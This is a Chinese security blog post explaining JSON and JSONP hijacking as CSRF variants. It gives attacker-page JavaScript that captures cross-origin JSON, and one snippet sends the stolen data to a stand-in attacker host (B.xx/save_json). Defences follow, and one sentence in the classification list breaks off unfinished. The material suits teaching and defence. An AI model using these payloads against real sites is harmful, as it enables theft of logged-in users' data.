JSON劫持与JSONP劫持

漏洞信息·网络安全 · 2023-09-11 · 615 人浏览

简介

恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
分类属于CSRF漏洞。

JSON劫持原理

条件

  1. 受攻击的网站URL返回一个JSON对象或者数组。
  2. 受攻击的网站能够通过GET请求返回JSON数据(最方便),POST也行不过需要钓鱼诱导。
  3. 受害人的浏览器没有禁用javascript。
  4. 受害人浏览了钓鱼/恶意网站,并且受害人在受攻击的网站中,保存在COOKIE中的身份验证信息尚未清除。
  5. 受攻击的站点没有做相关的防御措施。

分类

主要有两类:

  1. JSON劫持:主流浏览器有一定的防护、构造方法较为麻烦。
  2. JSONP劫持:JSONP是一种非官方的

JSON劫持场景

攻击手法

这个劫持的原理是利用了<script>标签会自动执行js代码的原理,从而调用页面内嵌的恶意函数,将数据发送至攻击者的服务器。从而导致信息泄露。

但是现在主流的浏览器都对这种类型的JSON劫持进行了一定的防御,未能成功复现,故可能无效。

场景:
服务端(http://A.xx/getjson

header('Content-type: application/json');
$jsondata = '["admin","passwd"]';
echo $jsondata;

这段代码会告诉用户的浏览器发送的数据格式为JSON,返回的数据是一个JSON数组,其中包含了用户的敏感信息。

恶意页面(http://B.xx/json_hijack

<script type="text/javascript">
function Array()
{
    var jsonData = this;
    var message = '[';
    for (var index in jsonData)
    {
        message += index + ", ";
    }
    message += ']';
    alert(message);
}
</script>
<script src='http://A.xx/getjson'></script>

这个页面会自动将接收到的JSON数组通过弹窗弹出,在实战中弹窗函数会换成利用js发送数据到目标服务器。

<script type="text/javascript">
function Array()
{
    var jsonData = this;
    var message = '[';
    for (var index in jsonData)
    {
        message += index + ", ";
    }
    message += ']';
    var httpRequest = new XMLHttpRequest();
    var url = 'http://B.xx/save_json?text=' + message;
    httpRequest.open('GET', url, true);
    httpRequest.send();
}
</script>

防御方法

该漏洞属于CSRF漏洞的一种,故跨域通过常规防御CSRF攻击的方法进行防御。

  1. 验证Referer头,不过这很容易绕过。
  2. 生成随机token,发送消息时伴随token。
  3. 过滤JSON中的数据,尽量减少敏感数据的输出。

也可以通过在返回的数据前方添加一个无限循环来解决这这个问题。
例如:while(1);["admin","passwd"]
原理是通过让<script>标签执行无限循环从而阻止<script>标签执行JSON,通过这个方法阻止了JSON劫持。

JSONP劫持场景

攻击方法

原理与普通的JSON劫持类似,不过返回的的值将为一个函数的形式进行返回,并且利用<script>标签会自动执行js代码的原理,达成跨域传递数据的方法。

场景:
服务端(http://A.xx/getjson?callback=hack

header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
$jsondata = '["admin","passwd"]';
echo $callback . "(" . $jsondata . ")";

这段代码会返回的数据为hack(["admin","passwd"]),当<script>标签执行这段数据时,就会调用hack函数。

恶意页面(http://B.xx/json_hijack

<script type="text/javascript">
function hack(jsonData)
{
    var message = '[';
    for (var index in jsonData)
    {
        message += index + ", ";
    }
    message += ']';
    alert(message);
}
</script>
<script src='http://A.xx/getjson?callback=hack'></script>

这个页面会自动将接收到的JS脚本的函数值通过弹窗弹出,在实战中会将弹窗方法替换为发送数据到攻击者服务器的方法。

防御方法

该漏洞属于CSRF漏洞的一种,故跨域通过常规防御CSRF攻击的方法进行防御。

  1. 验证Referer头,不过这很容易绕过。
  2. 生成随机token,发送消息时伴随token。
  3. 过滤JSON中的数据,尽量减少敏感数据的输出。
CSRF JSON劫持 615 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao